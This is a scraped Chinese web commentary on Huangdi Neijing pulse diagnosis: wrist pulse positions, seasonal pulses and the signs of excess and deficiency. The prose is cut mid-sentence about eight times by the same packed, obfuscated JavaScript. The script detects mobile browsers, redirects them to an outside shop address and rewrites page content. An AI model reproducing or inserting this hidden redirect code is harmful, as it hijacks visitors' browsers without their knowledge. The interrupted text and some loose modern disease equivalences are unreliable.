岐伯说：“胃脉实”表明邪气有余，并可能引发腹胀满病。在中医脉诊中，胃脉实通常指的是脉象较为有力、充盈，这往往意味着胃部的邪气有余，气血运行不畅。邪气积聚在胃部，会影响胃的消化功能，导致食物在胃中停留时间过长，进而产生腹胀满的症状。治疗时，中医会采取相应的方法，如使用清热、解毒、消食等药物，以排除胃部的邪气，恢复胃的正常功能。 “胃脉虚”表明胃气不足，并可能引发泄泻病。胃脉虚通常指的是脉象较为虚弱、无力，这往往意味着胃部的气血不足，胃气衰弱。胃气不足会导致胃的消化功能减弱，无法充分吸收和运化食物中的营养，进而引发泄泻等消化不良的症状。治疗时，中医会采取补益胃气的方法，如使用健脾、和胃、止泻等药物，以增强胃的功能，改善泄泻等症状。 黄帝问疾病的形成及其展变化又是怎么回事呢？ 岐伯说：风寒侵袭人体后，若不能及时排出体外，确实会导致体内寒热交织，进而引发寒热病。而当热邪在体内滞留过久，未能得到及时的治疗和调理，就会进一步消耗人体的正气，导致气血失衡，最终可能发展成为消中病，即现代医学中的糖尿病等代谢性疾病。 岐伯还提到了“气逆上而不止，会成为癫痫病”的论述。这里的“气逆上”可以理解为气机逆乱，向上冲逆。当人体内部的气机紊乱，无法正常升降出入时，就可能导致脑部气血供应异常，进而引发癫痫等神经系统疾病。 风气通于肝，当风邪侵袭人体并长期未能治愈时，就会影响到肝的功能，导致肝气郁结。而“木邪侮土”则是指肝气郁结后，会对脾胃（土）的功能产生影响，使得脾胃的运化功能减弱，进而出现飧泄（泄泻）等消化系统疾病。 风邪侵入血脉，长久的停留则会成为厉风病”这一观点，则强调了风邪在血脉中滞留过久会导致的严重后果。风邪侵入血脉后，会随血液流动到全身各处，导致全身气血不畅，出现各种症状。若长期未能治愈，就会形成厉风病，即现代医学中的风湿性疾病等。 岐伯的这些论述体现了中医对于疾病成因与演变的深刻洞察。他提出的这些观点不仅具有理论价值，而且对于临床实践具有重要的指导意义。通过了解和掌握这些观点，我们可以更好地理解和应对各种疾病的发展变化。 黄帝问：各种臃肿筋挛骨痛的病变是怎样产生的呢？ 岐伯说：关于各种臃肿筋挛、骨痛的病症，从中医的角度来看，确实存在“寒气聚集”和“八风邪气侵犯人体”的论述。然而，在现代医学的视角下，这些病症的成因和机理要复杂得多。 从中医理论出发，寒气聚集通常指的是体内阳气不足，导致寒气内生或外邪入侵，阻滞气血流通，进而引发各种疼痛和不适。而八风邪气则是指自然界中的风、寒、暑、湿、燥、火六种病邪，以及饮食、情志等因素产生的内邪，它们侵犯人体后，会破坏人体的阴阳平衡，导致气血不畅，脏腑功能失调，从而产生各种病症。 从现代医学的角度来看，臃肿筋挛、骨痛等病症可能是由于多种原因引起的。例如，长期姿势不良、过度劳损、运动损伤等物理因素，以及骨质疏松、关节炎、风湿病等疾病因素，都可能导致这些症状的出现。此外，一些全身性疾病，如内分泌失调、神经系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428663|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统疾病等，也可能引发这些症状。 在治疗这些病症时，我们需要综合考虑患者的具体情况，包括病因、病史、症状、体征等多个方面。中医可以采用温阳散寒、祛风除湿、活血化瘀等方法进行治疗；而现代医学则可能会采用药物治疗、物理治疗、手术治疗等多种手段。 黄帝问：旧病从五脏发动，影响到脉色并发生变化，怎样区别？它是旧病还是新病呢？ 岐伯提到的“脉小而面色正常，这是新病；脉正常，而面色不正常的是旧病”， 从中医的角度看，脉象和面色是判断疾病状况的两个重要指标。脉象反映了人体气血运行的状况，而面色则与人体脏腑功能和气血盛衰密切相关。 当脉象小而面色正常时，说明气血运行虽然有所不畅，但还未对脏腑功能造成明显影响，因此判断为新病。此时，通过及时的调理和治疗，病情往往能够得到较快的改善。 而当脉象正常而面色不正常时，则可能是由于脏腑功能已经受到长期的损害，导致气血运行虽然尚能维持正常，但面色已经反映出脏腑功能的衰退。这种情况下，病情往往已经较为稳定，但治疗起来可能需要较 长的时间和较大的耐心。 脉象与气色的观察是诊断疾病的重要手段之一。我们可以从以下几个方面来理解。 脉象与气色都不在正常状态，这往往提示我们疾病已经持续了一段时间，也就是说，这是旧病。因为当人体出现疾病时，无论是脉象还是气色，都会相应地发生变化。当这两者同时出现异常时，说明疾病已经对身体的多个方面产生了影响，这通常意味着疾病已经持续了一段时间。 脉象与面色都正常，却诊断为新病，这看似矛盾，但实际上并不少见。在中医理论中，有些疾病在初期可能并不表现出明显的脉象和面色变化，但患者可能已经出现了某些症状或不适。此时，医生需要凭借丰富的经验和细致的观察，来做出准确的诊断。 第13章 （11）如何读懂寸关尺三步脉？脏腑健康的秘密在这里 脉象是我们长时间去摸索，长时间去实践的，通过实践， 我们去慢慢的摸索各种脉象，今天讲的脉象对于不懂中医的人是比较深奥的。不懂的我们了解一下一下寸关尺三脉所在的地方和所对应的脏腑就好。 “寸关尺三脉”是中医脉诊中非常重要的一个概念，它指的是在手腕桡动脉搏动处，以桡骨茎突（指的是腕关节下面高出来的骨头）为标志，将腕横纹至肘横纹的这一段距离分为三个等份，从腕横纹向肘横纹方向依次为“寸”、“关”、“尺”三部。这三部脉分别对应着人体的上、中、下三个部位，也关联着不同的脏腑功能。 具体来说： 1. 寸脉：位于桡骨茎突内侧，靠近手腕的部位。它主要反映人体上焦（心肺）的病变。按照中医的脏腑经络理论，左手的寸脉主要候心，右手的寸脉主要候肺。 2. 关脉：位于桡骨茎突处，是寸脉和尺脉之间的过渡区域。它主要反映人体中焦（脾胃肝胆）的病变。左手关脉候肝，右手关脉候脾胃。 3. 尺脉：位于桡骨茎突的外侧，靠近肘部的部位。它主要反映人体下焦（肾、膀胱、大肠小肠等）的病变。左手尺脉候肾，右手尺脉候命门（命门被认为是生命之门户，与肾有密切关系）。 在脉诊时，医生会根据寸关尺三部的脉象特征，结合其他四诊（望、闻、问、切）的资料，综合判断病人的病情。同时，三部脉的脉象还可以反映出脏腑的阴阳气血状况，从而指导临床治疗。 关于三部脉的长度，虽然历代医家对此有不同的见解，但现代多数医家认为，三部总长度应根据人腕部桡动脉比较浅露肤表的一段长度来确定，通常认为三部总长度以2寸（约6.6厘米）最合理，其中寸关尺长度分别为6分（约2厘米）、2分（约0.67厘米）、12分（约4厘米）。 以上就是对“寸关尺三脉”的详细介绍，希望对大家有所帮助。 在中医的脉实有所谓的“尺脉”这一说法，但这里的描述似乎将尺脉与其在临床实践中的具体应用和解释做了些艺术性的结合或扩大化。在中医脉学中，尺脉主要位于手腕的内侧，靠近手掌腕横纹处，是反映人体下焦（主要指肾、膀胱等脏腑）气血状况的重要脉象。 关于“尺脉两旁的内侧可以用来枕胸肋的下部，外侧可以用来枕候肾脏，中间枕候腹部”的描述，如果仅从字面上理解，这可能是在用一种形象化的方式来说明尺脉所关联的人体区域。但在实际应用中，尺脉并不具备直接的物理“枕”的功能，而是需要通过中医的脉诊技巧来感知脉象，从而推断出相应脏腑的健康状况。 在脉诊时，医生通过手指的触感来感知脉象的深浅、快慢、强弱等特征，从而判断气血的盛衰、脏腑的虚实等。而尺脉作为反映下焦气血状况的重要脉象，其变化往往与肾脏的功能状态密切相关。但需要注意的是，这种推断和诊断是建立在丰富的临床经验和对脉象的深入理解基础之上。 关脉是它位于手腕桡动脉搏动处，介于寸脉和尺脉之间。在中医理论中，左手的脉象主要反映人体的阴血状况和心脏、肝脏的功能，而右手的脉象则主要反映人体的阳气状况和肺脏、脾胃的功能。具体到关脉，左手的关脉外侧（即靠近桡骨的一侧）通常被认为与肝脏相关，可以用来诊候肝脏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428664|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾病；而内侧（即靠近手掌的一侧）则与膈部相关，可以用来诊候膈部的健康状况。 膈部位于胸腔与腹腔之间，像一个圆顶形扁薄的阔肌，向上可以到达第3至第4肋骨，向下其纤维可到达第3腰椎的前部。 - 膈部右侧较高，位于右锁骨中线，可平对第5肋间；左侧较低，与心脏和肺部有密切关系。 右手的关脉外侧与胃腹相关，可以用来诊候胃部和腹部的疾病；而内侧则与脾脏相关，可以用来诊候脾脏的健康状况。这种分法主要是基于中医的脏腑经络理论，通过脉象的变化来推断相应脏腑的功能状态和病理变化。 “寸部脉：右手的寸部脉外侧（即靠近大拇指的一侧）可以用来诊候肺脏的健康状况，这是因为中医认为肺经循行路径中，确实有一支通过右手的寸部脉区域。而右手寸部脉的内侧（即靠近手腕的一侧），则可以用来诊候胸中（包括心包等）的健康状况。 同理，左手的寸部脉外侧可以用来诊候心脏的健康状况，因为心经的循行路径也经过左手的寸部脉区域。而左手寸部脉的内侧，则可以用来诊候膻中（中医所说的一个部位，大致位于胸部正中，两乳之间）的健康状况。 这种脉诊方法虽然看似简单，但实际上需要医者具备丰富的经验和深厚的中医理论知识。通过细心地观察和感受脉象的强弱、快慢、浮沉等变化，医者可以初步判断脏腑的健康状况，为后续的治疗提供重要的参考依据。 需要注意的是，中医脉诊只是中医诊断学中的一部分，要全面了解患者的健康状况，还需要结合望、闻、问等其他诊断方法，进行综合分析和判断。 第13章 （12）脉象解码：如何根据脉象变化识别潜在疾病 脉象宏大，在传统中医理论中确实被用来描述一种特定的脉象特征，但它并不是简单地由“阴精不足而阳有余”这一说法所能完全涵盖的。脉象宏大通常指的是脉搏的幅度较大，力度较强，给人一种充盈有力的感觉。 在中医理论中，脉象宏大可能与多种病因病机相关，而不仅仅局限于“阴精不足而阳有余”这一点。例如，脉象宏大可能是气血充盛的表现，也可能是实热证的体现。在气血充盛的情况下，人体正气旺盛，脉象自然宏大有力；而在实热证中，由于热邪内盛，正邪相争激烈，脉象也会表现出宏大而有力。 如果脉象宏大确实与“阴精不足而阳有余”有关，那么这通常是因为阴虚不能制阳，导致阳热亢盛。这种情况下，患者可能会出现一系列热象症状，如发热、口渴、面红目赤等。仅凭脉象宏大这一点并不能完全确定病因病机，还需要结合患者的具体症状、舌象等其他信息来进行综合分析。 脉象来时迅疾而去时缓，这种脉象特征在中医理论中确实有其特定的含义。通常，这种脉象被称为“浮大无力”或“来盛去衰”，它可能暗示着患者体内存在上部实而下部虚的病理状态。 具体来说，脉象来时迅疾可能反映了患者上焦（包括心、肺）的实证，如热邪壅盛、气血瘀滞等，导致脉象快速有力。而去时缓则可能意味着下焦（包括肝、肾、大肠、小肠、膀胱等）的虚证，如阴精不足、气血亏虚等，使得脉象在逐渐减弱时显得无力。 这种脉象特征的出现，往往与体内气血运行的紊乱有关，可能导致一系列疾病，如绝逆（指气血逆乱导致的昏厥）、癫仆（指精神错乱导致的跌倒）等。在中医治疗中，通常会根据患者的具体情况，采用调和气血、平衡阴阳的方法来调理身体，以达到治疗疾病的目的。 脉象来时缓而去时疾，这种脉象特征在中医理论中确实有其独特的解释。它通常被认为是由于上部（包括心、肺）虚弱而下部（包括肝、肾、大肠、小肠、膀胱等）实证所致。 在中医看来，上部虚可能导致气血不能上行以濡养，从而使得脉象在开始时显得较为缓慢；而下部实则可能由于邪气内盛，气血瘀滞，导致脉象在结束时显得较为急促。这种脉象特征可能反映了人体内部气血运行的紊乱，以及阴阳失衡的状态。 至于这种脉象容易引发的“厉风”类疾病，通常是指一些与风邪相关的疾病，如头痛、眩晕、抽搐等。由于上部虚而下部实，气血运行不畅，风邪容易乘虚而入，侵袭人体，导致各种疾病的发生。 关于两手脉都沉细而数的现象，在中医脉学中，这通常被认为是少阴经经气逆乱的脉象特征。少阴经，即手少阴心经和足少阴肾经，这两条经脉的经气逆乱，确实可能导致一系列疾病。 具体来说，脉象沉细可能反映了阴血不足或阳气内陷的病理状态，而数脉则可能表示有热邪内扰。当这两种脉象特征同时出现时，往往意味着体内阴血亏损，阳气相对亢盛，从而容易引发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428665|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴虚阳亢的虚劳寒热病。 这种虚劳寒热病在中医理论中是一种较为复杂的病证，它可能表现为低热不退、潮热盗汗、手足心热、咽干口渴等症状。由于阴血亏损，体内阴液不足以制约阳热，导致阳热相对亢盛，从而出现寒热交替、虚实夹杂的病理表现。 脉浮而散乱，在中医脉学中，这种脉象特征通常被看作是体内气血运行不畅，正邪相争的一种表现。具体来说，脉浮可能意味着邪气在表，正气与之相争，而散乱则可能反映了气血的紊乱和不稳定。 当人体出现这种脉象时，往往意味着体内正气不足，邪气相对亢盛，导致气血运行不畅，从而容易引发眩晕仆倒的疾病。眩晕仆倒，即指患者突然感到头晕目眩，甚至失去平衡而跌倒，这通常与脑部供血不足或神经功能紊乱有关。 在中医理论中，眩晕仆倒的病因病机可能涉及多个方面，如气血亏虚、肝肾不足、痰浊内阻等。而脉浮而散乱作为其中的一种脉象特征，可能提示了患者体内正气不足，邪气内扰的病理状态。 对于这种情况，中医通常会采用调和气血、扶正祛邪的治疗原则，通过补益气血、调和阴阳、化痰通络等方法来调理患者身体，增强体内正气，抑制邪气，从而改善脉象和症状。 需要注意的是，眩晕仆倒是一种较为严重的疾病，患者应及时就医，接受专业的诊断和治疗。同时，保持良好的生活习惯和饮食规律，增强体质，也有助于预防和治疗眩晕仆倒等疾病。 第14章 玉机真藏论 当我们谈论“玉机”时，确实是在引用一种古代哲学或神秘学中的概念，它象征着能够洞察和窥探天地之间奥秘的神奇机制，也被引申为某种至关重要的事物或理念。 而“真脏脉”则完全是中医领域的一个专业术语。在中医脉学中，脉象是诊断疾病的重要依据之一。所谓“真脏脉”，指的是在诊脉过程中，感受到的脉象缺乏“胃气”的特征。这里的“胃气”是中医理论中的一个重要概念，它指的是脉象中应具有的柔和、有力、有根的特点，它反映了人体正气（生命力）的充足与否。 当脉象中缺乏“胃气”时，就被称为“真脏脉”。这种脉象的出现，通常意味着人体的正气已经极度虚弱，生命力接近枯竭，预示着病情的严重和生命的濒危。因此，在中医理论中，“真脏脉”被视为一种死症的表现。 将“玉机”与“真脏脉”这两个概念放在一起讨论，虽然它们都属于中国传统文化中的一部分，但它们在各自领域内的意义和作用是截然不同的。前者是一种哲学或神秘学上的概念，后者则是中医脉学中的专业术语。我们在理解和应用这两个概念时，需要明确它们各自的背景和适用范围。 本篇内容深刻而全面，主要涉及了中医理论中疾病诊断与治疗的多个重要方面。 首先，它详细论述了五脏脉与四时的关系。中医理论认为，人体五脏与四季有着密切的对应关系，五脏的脉象也会随着四季的变化而有所不同。了解这种对应关系，有助于医生更准确地判断疾病的性质和程度。 其次，本篇内容说明了疾病的传变顺序，但特别指出情志之病或促发之病不在此列。疾病的传变顺序通常遵循一定的规律，如从外而内、从轻到重等。然而，情志之病或促发之病由于其特殊的发病机制和表现，往往不受此规律限制。 第三，本篇内容强调了病邪侵入是由浅入深的，因此要及时治疗。如果错过了最佳治疗时机，病情可能会逐渐恶化，导致预后不良。这提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428666|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒我们在面对疾病时，要尽早采取措施，防止病情进一步恶化。 第四，本篇内容讲述了真脏脉出现预决死期的表现和道理。真脏脉是中医脉象学中的一个重要概念，它的出现通常预示着病情的严重和生命的濒危。了解真脏脉的表现和道理，有助于医生更准确地判断患者的病情和预后。 第五，本篇内容指出，在诊断疾病时，要结合气候和环境因素进行考虑。气候和环境的变化会对人体的生理和病理状态产生影响，因此，在诊断疾病时，要充分考虑这些因素，以便更准确地判断病情和制定治疗方案。 最后，本篇内容介绍了五实和五虚的症状和预后。五实和五虚是中医理论中描述人体病理状态的两个重要概念。了解五实和五虚的症状和预后，有助于医生更全面地了解患者的病情和制定更合理的治疗方案。 总之，本篇内容涵盖了中医理论中疾病诊断与治疗的多个重要方面，对于提高中医临床水平具有重要意义。 第14章 （1）读懂春季脉象，了解肝脏健康密码 黄帝问：春季的脉象如弦，怎么样才算是弦？ 岐伯说：“春脉通于肝脏，属东方之木”，这正是中医“五行”与“五脏”相应理论的应用。 在春季，万物复苏，生机勃勃，正如树木在春天开始发芽生长一样，人体的肝气也在这个季节里开始活跃起来。因此，春季的脉象应该体现出肝气的这种特点，即“脉气来时软弱，清虚且华丽，端直且长”，这种脉象就被称为“弦脉”。 弦脉的特点是脉搏跳动时，指下有如按琴弦之感，既有一定的力度，又有一种弹性和韧性。这种脉象反映了肝气的正常活跃和舒展，是春季人体健康的体现。 然而，如果脉象与此相反，比如脉象过于紧张、僵硬，或者过于松弛、无力，都可能是身体出现问题的表现。这些异常的脉象就被称为“病脉”，可能意味着肝气郁结、情绪不畅，或者肝气不足、身体虚弱等问题。 因此，在中医理论中，通过观察和分析脉象，医生可以了解病人的身体状况和疾病状态，从而进行针对性的诊断和治疗。 黄帝问怎么样，算是相反呢？ 岐伯说：脉气来时应指坚实有力时称为“太过”，这通常表示疾病在外部，即邪气亢盛，正气不衰，可能表现为表证、实证等。而当脉气来时应指微弱，不实，则称为“不及”，这往往表示疾病在内部，即正气虚弱，邪气相对较弱，可能表现为里证、虚证等。 应指：指的是医者手指所感受到的脉象反应或脉象特点。 在中医看来，脉象是身体内部气血运行状况的外在反映。因此，通过观察脉象的太过与不及，医生可以初步判断疾病的性质、部位和病情轻重。比如，太过之脉可能表现为脉象洪大、有力，多提示邪气盛实，如外感风寒、暑湿等；而不及之脉则可能表现为脉象细弱、无力，多提示正气不足，如气血两虚、脏腑功能衰退等。 黄帝问：春脉太过与不及会引发怎样的病变呢？ 岐伯说：当春季的脉象表现为“太过”时，意味着肝气过盛，可能会对人体造成一系列不良影响。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428667|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在中医看来，春季是肝气生发的季节，肝气主疏泄，喜条达。如果肝气过于旺盛，就会导致疏泄过度，影响人的精神状态。具体表现为记忆力衰退，精神恍惚，这是因为肝气上冲，扰乱了心神；头晕目眩，则是因为肝气上逆，气血上冲所致；更严重的，还可能引发癫痫疾病，这是因为肝气过盛，导致风痰上扰，蒙蔽清窍。 如果春季的脉象表现为“不及”，即脉象微弱，不实，则表明肝气不足。肝气不足会导致气血运行不畅，胸部作为气血汇聚之地，容易出现气血瘀滞，从而引发胸部作痛。由于肝气主疏泄，与背部经络相通，因此肝气不足也可能引起背部疼痛。此外，肝气不足还会影响脾胃的运化功能，导致气滞于中焦，引发两胁胠部位（即腋下至腰部的两侧区域）胀满。 总的来说，岐伯的脉象理论为我们提供了宝贵的诊断依据，使我们能够更深入地了解春季脉象与人体健康之间的关系。在实际应用中，我们还需要结合其他症状、舌象、病史等信息进行综合分析，以做出准确的诊断和治疗。 第14章 （2）读懂夏季脉象，了解心脏健康密码 黄帝问夏季的脉相如钩，怎么样才算是钩？ 岐伯说：夏季脉象通于心脏，属南方之火，这一观点体现了中医“天人合一”的哲学思想。 在夏季，由于气候炎热，自然界的阳气旺盛，万物生长茂盛。人体在这样的环境下，心阳也随之旺盛，因此脉象会表现出充盛的特点。脉气来时充盛，说明心脏的功能强健，血液流动有力；去时轻微犹如钩的形状，则是因为夏季阳气虽盛，但仍有阴气的制约，使得脉象在结束时能够自然回缩，形成钩状。这种脉象被称为钩脉，是夏季健康脉象的典型表现。 然而，如果脉象与此相反，即脉气来时不充盛，去时也不轻微，而是表现出其他异常形态，那么可能就是病脉了。这种脉象可能表明心脏功能出现了问题，或者体内阴阳平衡失调，需要引起注意并采取相应的治疗措施。 在中医理论中，脉象是判断人体健康状况的重要依据之一。通过对脉象的观察和分析，医生可以了解患者体内脏腑功能的强弱、阴阳气血的盛衰以及疾病的性质和发展趋势等信息，从而为疾病的诊断和治疗提供重要参考。 黄帝问，怎样才算是相反呢？ 岐伯说“脉气来时充盛，去时也充盛，叫做太过，表明疾病在外部”时，这是指脉象在搏动时始终保持着充盛的态势，没有自然的起伏变化。这种脉象通常被认为是“太过”，可能是因为体内的邪气过盛，影响了气血的正常运行，导致脉象始终保持在一个较高的水平。由于邪气主要作用于人体的表面或经络，因此这种脉象往往表示疾病在外部。 岐伯提到“脉气来时不盛，去时却充盛有余，叫做不及，表明疾病在内部”时，这则是指脉象在搏动开始时并不充盛，但在结束时却显得异常充盛。这种脉象被称为“不及”，可能是因为体内正气不足，无法有效抵抗邪气的侵袭，导致邪气深入体内，影响脏腑的正常功能。由于邪气已经深入内部，因此这种脉象往往表示疾病在内部。 通过观察和分析脉象的盛衰变化，中医医生可以初步判断疾病的性质和位置，从而为后续的治疗提供重要参考。这种脉诊方法虽然看似简单，但却蕴含着深厚的中医理论和丰富的实践经验，是中医诊断学的重要组成部分。 黄帝问夏脉太过与不及会发生怎样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428668|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病变呢？ 岐伯说：“夏脉太过会使人身体发热，皮肤疼痛为热邪侵淫而成疮”，这是指当夏季的脉象过于充盛时，可能意味着体内阳气过盛，形成了所谓的“热邪”。这种热邪在体内积聚，会导致身体发热，并且由于夏季气候炎热，人体毛孔开放，热邪容易通过皮肤排出体外，如果排出不畅，就会在皮肤上形成疮疡。 岐伯说：“不及会使人心虚烦躁，在上出现咳唾涎沫，在下出现失气”，则是指当夏季的脉象表现得不充盛时，可能意味着体内阳气不足，形成了“不及”的脉象。由于阳气不足，心脏的功能受到影响，导致心虚、烦躁等症状的出现。同时，由于阳气不足，无法有效地将水液代谢出去，就会形成痰饮等病理产物，这些痰饮在上则表现为咳唾涎沫，在下则可能表现为失气（即排气过多）。 总的来说，岐伯的这段描述体现了中医脉诊与疾病诊断之间的密切联系。通过观察脉象的盛衰变化，可以初步判断疾病的性质和位置，从而为后续的治疗提供重要参考。同时，这也提醒我们在夏季要注意保持身体的阴阳平衡，避免阳气过盛或不足导致的各种健康问题。 第14章 （3）读懂秋季脉象，了解肺脏健康密码 黄帝问：秋天的脉象如浮，怎样才算是浮？ 岐伯说：秋季的脉象通于肺脏，这并非偶然。在中医五行理论中，秋季属金，而肺脏也对应金，这是因为金具有收敛、沉降的特性，与秋季万物逐渐收成的气象相呼应。 脉象“轻浮，轻虚且浮来急去散”，这是秋季正常脉象的特征。当秋风吹拂，万物开始内敛，反映在脉象上，就是轻浮而散，象征着一种由外而内、由散而聚的过渡状态。这种脉象既体现了秋季的特性，也反映了肺脏的功能状态。 然而，如果脉象与此相反，如出现沉重、滞涩等特征，则可能表示体内存在疾病。这是因为脉象的异常往往是体内阴阳失衡、脏腑功能紊乱的反映。 岐伯对秋季脉象的描述，不仅揭示了自然界与人体之间的密切联系，也为我们提供了诊断和治疗疾病的重要依据。 黄帝问怎样算是相反的？ 岐伯说“脉气来时浮软，但中间坚实，两旁空虚叫作太过，表明疾病在外部”时，他指的是脉象浮软但中部却坚实有力，而两侧相对空虚。这种脉象在中医里通常被认为是“太过”，即气血过盛，可能会表现在体表的疾病上，如皮肤病、外感风寒等。 “脉气来时浮软且微弱，叫做不急，表明病在内部”时，他描述的是一种脉象浮软且无力的状态。这种脉象通常被认为是“不急”，即气血不足，可能暗示着身体内部的疾病，如脏腑功能失调、气血不足等。 这种通过脉象来推测疾病的方法，是中医诊断的重要手段之一。中医认为，人体的脉搏是气血流通的反映，通过脉象可以洞察身体内部的健康状况。 黄帝问秋脉的太过于不及，会发生怎样的病变？ 岐伯说：“太过”与“不及”的状态，与人体健康密切相关。脉象“太过”时，会导致人气逆，背部作痛，郁闷，心情不舒畅。这是因为“太过”往往意味着气血过盛，气血在经脉中运行不畅，可能导致气血逆流，从而引发一系列的症状。背部作痛可能是气血逆流至背部经络所致，而郁闷和心情不舒畅则是因为气血不畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428669|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响了人的情绪。 脉象“不及”则会使人呼吸气短，咳嗽，气喘气上逆而出血，胸部有喘息的声音。这是因为“不及”意味着气血不足，无法为身体提供足够的能量和营养，导致身体功能下降。在呼吸系统方面，气血不足可能导致呼吸功能减弱，出现气短、咳嗽等症状。同时，气喘和出血可能是由于气血逆流至肺部，导致肺部受损所致。胸部有喘息的声音则是因为肺部功能下降，呼吸不畅所致。 在中医看来，脉象是身体内部气血状况的反映。通过脉象的“太过”与“不及”，我们可以推断出身体内部气血的盛衰状况，从而采取相应的治疗措施。对于“太过”的情况，中医通常采用清热、泻火等方法来调和气血；而对于“不及”的情况，则采用补气、养血等方法来增强身体功能。 总之，岐伯关于脉象“太过”与“不及”的描述，为我们提供了通过脉象来诊断疾病的重要依据。在中医理论中，脉象是判断身体内部气血状况的重要指标之一，对于预防和治疗疾病具有重要意义。 第14章 （4）读懂冬季脉象，了解肾脏的健康密码 黄帝问冬季的脉相如营，怎样才算是营？ 岐伯说：在冬季，大自然进入收藏阶段，万物沉寂，阳气内藏，阴气在外。这种气象与肾脏的生理功能相呼应，因为肾脏主水，藏精，有封藏之本的功能。 在这个季节，人体的脉象也会随之发生变化。正常的脉象应当是沉而有力的，这是因为冬季阳气内藏，脉象深沉有力，代表体内的阳气虽然内敛但仍然强健有力，这被称为“营”脉。营，有滋养、充养之意，表明脉象虽然深沉，但内含生机。 如果脉象与此相反，如出现浮大无力、细数无力等，则可能是病脉。这往往意味着体内阳气不足，或者阴液亏损，不能很好地适应冬季的收藏气象。这种脉象的出现，可能提示着身体存在某种疾病或不适，需要进一步诊断和治疗。 黄帝问，怎样才算是相反呢？ 岐伯在中医脉学理论中，对脉象的描述相当精细和具体。他提到，当脉气来时如弹石击手，这被称为“太过”，意味着脉象过于刚劲有力，像弹石一样击打在医生的手上。这种脉象通常表明疾病在外部，可能是外感风寒、热邪等邪气侵袭体表，导致脉象呈现刚强之态。 而脉去时虚浮软弱，则被称为“不及”，表明脉象过于虚弱无力，缺乏应有的弹性和力度。这种脉象通常表明疾病在内部，可能是脏腑功能失调、气血虚弱等原因导致脉象无力。 在中医理论中，脉象是判断疾病性质、病位和病情轻重的重要依据之一。通过观察脉象的太过与不及，医生可以初步判断疾病的内外、虚实、寒热等属性，从而制定相应的治疗方案。 